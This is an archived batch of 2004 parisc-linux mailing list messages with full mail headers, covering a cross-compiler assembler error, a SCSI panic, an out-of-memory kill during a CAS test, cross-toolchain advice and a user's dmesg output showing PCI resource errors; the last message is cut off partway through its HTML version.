	with ESMTP id 12855-05; Wed, 15 Sep 2004 13:34:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8CC273BE17; Wed, 15 Sep 2004 13:33:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB4773BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 13:33:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12782-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 13:33:34 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C662E3BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 13:33:33 -0600 (MDT)
Original-Received: (qmail 20669 invoked by uid 65534); 15 Sep 2004 19:33:32 -0000
Original-Received: from pD9FE7320.dip.t-dialin.net (EHLO p100) (217.254.115.32)
	by mail.gmx.net (mp002) with SMTP; 15 Sep 2004 21:33:32 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7
In-Reply-To: <200409152113.57033.deller@gmx.de>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21995

On Wednesday 15 September 2004 21:13, Helge Deller wrote:
> running today into the following compile problem with current PARISC CVS HEAD with my old gcc 3.0.2 i386/hppa crosscompiler:
> ....
>   CC      arch/parisc/kernel/unaligned.o
> {standard input}: Assembler messages:
> {standard input}:158: Error: operation combines symbols in different segments
> make[1]: *** [arch/parisc/kernel/unaligned.o] Error 1

this is the problematic code btw (in case it helps somebody):
....
        .section        .text.emulate_ldd,"ax",@progbits
        .align 4
                .type            emulate_ldd,@function
emulate_ldd:
        .PROC
        .CALLINFO FRAME=64,NO_CALLS,ENTRY_GR=4
        .ENTRY
        stwm %r5,64(%r30)
.....
        .section .fixup,"ax"
......

.Lfe3:
        .size   emulate_ldd,.Lfe3-emulate_ldd		<<<<<<<<<<<<<<<<<< LINE 158 !! <<<<<<<<<<<<<<
        .section        .text.emulate_sth,"ax",@progbits
        .align 4
                .type            emulate_sth,@function
emulate_sth:
        .PROC
        .CALLINFO FRAME=0,NO_CALLS
        .ENTRY
        copy %r26,%r19
.....
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.9-rc2-pa3 panic on c110 (ccio-dma or
	53c700 pb)
Date: 15 Sep 2004 19:08:27 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <1095289712.2379.3.camel@mulgrave>
References: <4148773C.8040605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623559 11079 80.91.229.3 (22 Nov 2014 02:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:39 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1407 invoked by uid 65534); 15 Sep 2004 23:09:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 16 Sep 2004 01:09:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AD0BE3BE16; Wed, 15 Sep 2004 17:09:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14509-06; Wed, 15 Sep 2004 17:09:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C52403BE17; Wed, 15 Sep 2004 17:08:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE4773BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 17:08:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14509-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 17:08:41 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 02D603BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 17:08:40 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i8FN8Wm12108; Wed, 15 Sep 2004 19:08:32 -0400
In-Reply-To: <4148773C.8040605@tiscali.be>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21996

On Wed, 2004-09-15 at 13:09, Joel Soete wrote:
> scsi1: (3:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
>           len = 6, cmd =scsi1 : destination target 3, lun 0
>          command = 0x2a 00 00 3e 7b 3c 00 00 28 00
> scsi1: Bus Reset detected, executing command 1c652ba0, slot 2fda8778, dsp 00128210[0210]

That's rather odd, the symptom is of an old bug, long fixed in the 2.6
kernel (namely 6 byte length for 10 byte command).  Where did you get
this kernel from?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Thu, 16 Sep 2004 10:31:10 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040916143109.GA28936@baldric.uwo.ca>
References: <20040914160613.GA28659@tausq.org>
	<20040914223655.GP9763@baldric.uwo.ca>
	<41487C05.3010606@tiscali.be> <41487D4C.2020004@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623559 11080 80.91.229.3 (22 Nov 2014 02:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27438 invoked by uid 65534); 16 Sep 2004 14:32:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 16 Sep 2004 16:32:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8D9C33BDCE; Thu, 16 Sep 2004 08:32:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22796-10; Thu, 16 Sep 2004 08:32:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9980C3BE0A; Thu, 16 Sep 2004 08:31:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67BB13BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 08:31:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22705-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 08:31:47 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 2CB5A3BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 08:31:47 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C7xHy-0007X6-00; Thu, 16 Sep 2004 10:31:10 -0400
Content-Disposition: inline
In-Reply-To: <41487D4C.2020004@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21997

On Wed, Sep 15, 2004 at 05:35:08PM +0000, Joel Soete wrote:
> Out of Memory: Killed process 1760 (test-lws).
> Out of Memory: Killed process 1762 (test-lws).

Yeah, you can't let this happen. The test is a bit rough on your box,
I've always turnes OOM off and minimized the number of *other* running
processes. The test (I think) has a tunable for memory to try capture
before running the CAS. That particular part of the test is trying to
see if CAS'ing on swapped pages is atomic or non-atomic by signaling the
process during a write to a swapped page.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i386 cross-compiler for hppa/hppa64 ?
Date: Thu, 16 Sep 2004 10:38:12 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20040916143812.GB28936@baldric.uwo.ca>
References: <200409152113.57033.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623559 11083 80.91.229.3 (22 Nov 2014 02:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <carlos@baldric.uwo.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19690 invoked by uid 65534); 16 Sep 2004 14:38:20 -0000
Original-Received: from baldric.uwo.ca (EHLO baldric.uwo.ca) (129.100.10.225)
  by mx0.gmx.net (mx013) with SMTP; 16 Sep 2004 16:38:20 +0200
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C7xOn-0007ae-00; Thu, 16 Sep 2004 10:38:13 -0400
Content-Disposition: inline
In-Reply-To: <200409152113.57033.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21998

> The cross-compiler section on the parisc homepage at http://parisc-linux.org/software/index.html#xcs links to 
> http://ftp.parisc-linux.org/x86-xcompilers/   and  
> ESIEE Team's download page at http://www.pateam.org/download.html#deb

If you have time...
http://www.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html

I recommend Dan Kegel's crosstools and build one using his
infrastructure please :) His tools autobuild everything and it will take
only time to compile the tree. I haven't done this myself because I
don't need an x86->hppa but I might set crosstools to run today on my
dual cpu box at the office.

c.




From - Thu Nov 08 21:32:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos Pares, Pere" <pere.carlos@t-systems.es>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dmesg  about hw Modules
Date: Thu, 16 Sep 2004 16:38:56 +0200
Lines: 339
Approved: news@gmane.org
Message-ID: <A944EAC2E4952A4D9203CED00A8F4CC73549E6@SRVTSBC02.itc.ads.t-systems.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0870276340=="
X-Trace: ger.gmane.org 1416623560 11085 80.91.229.3 (22 Nov 2014 02:32:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22810 invoked by uid 65534); 16 Sep 2004 14:45:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 16 Sep 2004 16:45:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5D19A3BE60; Thu, 16 Sep 2004 08:45:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23289-02; Thu, 16 Sep 2004 08:45:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A5F63BE17; Thu, 16 Sep 2004 08:45:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F63E3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 08:45:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23036-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 08:45:05 -0600 (MDT)
Original-Received: from srvtsbe10.itc.ads.t-systems.es (unknown [212.170.250.76])
	by free.linux.hp.com (Postfix) with SMTP id 214883BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 08:44:56 -0600 (MDT)
Original-Received: from SRVTSBC04.itc.ads.t-systems.es ([192.168.59.10])
	by srvtsbe10.itc.ads.t-systems.es (SAVSMTP 3.1.1.32) with SMTP id
	M2004091616393508710 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 16:39:35 +0200
Original-Received: from SRVTSBC02.itc.ads.t-systems.es ([192.168.62.10]) by
	SRVTSBC04.itc.ads.t-systems.es with Microsoft
	SMTPSVC(5.0.2195.5329); Thu, 16 Sep 2004 16:38:56 +0200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
content-class: urn:content-classes:message
Importance: normal
Priority: normal
Thread-Topic: dmesg  about hw Modules 
Thread-Index: AcSb+luKMo3XkjTZQLu9UA8zZ0KZjQAAKzFg
X-OriginalArrivalTime: 16 Sep 2004 14:38:56.0557 (UTC)
	FILETIME=[E55F3DD0:01C49BFA]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21999

This is a multi-part message in MIME format.

--===============0870276340==
content-class: urn:content-classes:message
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C49BFA.E5456288"
Content-Transfer-Encoding: 7bit

This is a multi-part message in MIME format.

------_=_NextPart_001_01C49BFA.E5456288
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hi,

=20

This is what dmesg show me about some hw on my k360 HP box,

=20

Have you any idea what's going wrong?

=20

PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.=20

lp0: using parport0 (interrupt-driven).=20

Generic RTC Driver v1.07=20

RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize=20

loop: loaded (max 8 devices)=20

Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)=20

PCI: Unable to reserve mem region #2:80@2040000 for device 00:01.0=20

PCI: Unable to reserve mem region #2:80@2040000 for device 00:01.0=20

PCI: Unable to reserve I/O region #1:80@40221200 for device 00:02.0=20

PCI: Unable to reserve I/O region #1:80@40221200 for device 00:02.0=20

Found i82596 at 0xffd07000, IRQ 87=20

eth0: 82596 at 0xffd07000, 00 60 B0 C4 A4 F5 IRQ 87.=20

82596.c $Revision: 1.33 $=20

Uniform Multi-Platform E-IDE driver Revision: 7.00beta4-2.4=20

ide: Assuming 33MHz system bus speed for PIO modes; override with
idebus=3Dxx=20

SCSI subsystem driver Revision: 1.00=20

zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35=20

ncr53c8xx: 53c720 detected=20

ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential

=20

=20

Thanks in advance

=20

=20

=20

=20



-------------------------------------------------------------------------=
-------
Aquest missatge electronic pot  contenir informacio confidencial o =
privilegiada.
Si voste no es el destinatari del  missatge, o l'ha rebut per error, si =
us plau
notifiqui-ho al remitent i destrueixi el missatge amb tot el seu =
contingut.
Esta completament  prohibida  qualsevol  copia, us o distribucio no =
autoritzada
del contingut d'aquest missatge electronic.
-------------------------------------------------------------------------=
-------
Este mensaje electronico puede contener informacion confidencial o =
privilegiada.
Si usted  no es  el destinatario de este mensaje o lo ha recibido por =
error, por
favor notifiquelo al remitente y destruya el mensaje con todo su =
contenido.
Queda  expresamente  prohibida  cualquier  copia, utilizacion o  =
distribucion no
autorizada del contenido de este mensaje electronico.
-------------------------------------------------------------------------=
-------
This e-mail may contain confidential and/or privileged information.
If you  are  not the  intended recipient (or have received this e-mail =
in error)
please notify the sender immediately and destroy this e-mail.
Any  unauthorized  copying,  disclosure  or distribution of the material =
in this
e-mail is strictly forbidden.
-------------------------------------------------------------------------=
-------

------_=_NextPart_001_01C49BFA.E5456288
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered)">
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
p.MsoPlainText, li.MsoPlainText, div.MsoPlainText
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:9.0pt;
	font-family:Tahoma;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:70.85pt 128.3pt 70.85pt 128.3pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DES link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoPlainText><font size=3D1 face=3DArial><span =
style=3D'font-size:9.0pt;
font-family:Arial'>Hi,</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DArial><span
style=3D'font-size:9.0pt;font-family:Arial;color:black'>&nbsp;</span></fo=
nt></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DArial><span
style=3D'font-size:9.0pt;font-family:Arial;color:black'>This is what =
dmesg show
me about some hw on my k360 HP box,</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DArial><span
style=3D'font-size:9.0pt;font-family:Arial;color:black'>&nbsp;</span></fo=
nt></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DArial><span
style=3D'font-size:9.0pt;font-family:Arial;color:black'>Have you any =
idea what's
going wrong?</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>&nbsp;</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>PS/2 psaux port at 0xffd08100 (irq =
69)
found, no device attached. </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>lp0: using parport0 =
(interrupt-driven). </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>Generic RTC Driver v1.07 =
</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>RAMDISK driver initialized: 16 RAM =
disks of
4096K size 1024 blocksize </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>loop: loaded (max 8 devices) =
</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>Linux Tulip driver version =
0.9.15-pre12
(Aug 9, 2002) </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dred face=3DTahoma><span
style=3D'font-size:9.0pt;color:red'>PCI: Unable to reserve mem region
#2:80@2040000 for device 00:01.0 </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dred face=3DTahoma><span
style=3D'font-size:9.0pt;color:red'>PCI: Unable to reserve mem region
#2:80@2040000 for device 00:01.0 </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dred face=3DTahoma><span
style=3D'font-size:9.0pt;color:red'>PCI: Unable to reserve I/O region
#1:80@40221200 for device 00:02.0 </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dred face=3DTahoma><span
style=3D'font-size:9.0pt;color:red'>PCI: Unable to reserve I/O region
#1:80@40221200 for device 00:02.0 </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>Found i82596 at 0xffd07000, IRQ 87 =
</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>eth0: 82596 at 0xffd07000, 00 60 =
B0 C4 A4
F5 IRQ 87. </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>82596.c $Revision: 1.33 $ =
</span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>Uniform Multi-Platform E-IDE =
driver
Revision: 7.00beta4-2.4 </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>ide: Assuming 33MHz system bus =
speed for
PIO modes; override with idebus=3Dxx </span></font></p>

<p class=3DMsoPlainText><font size=3D1 color=3Dblack face=3DTahoma><span
style=3D'font-size:9.0pt;color:black'>SCSI subsystem driver Revision: =
1.00 </span></font></p>

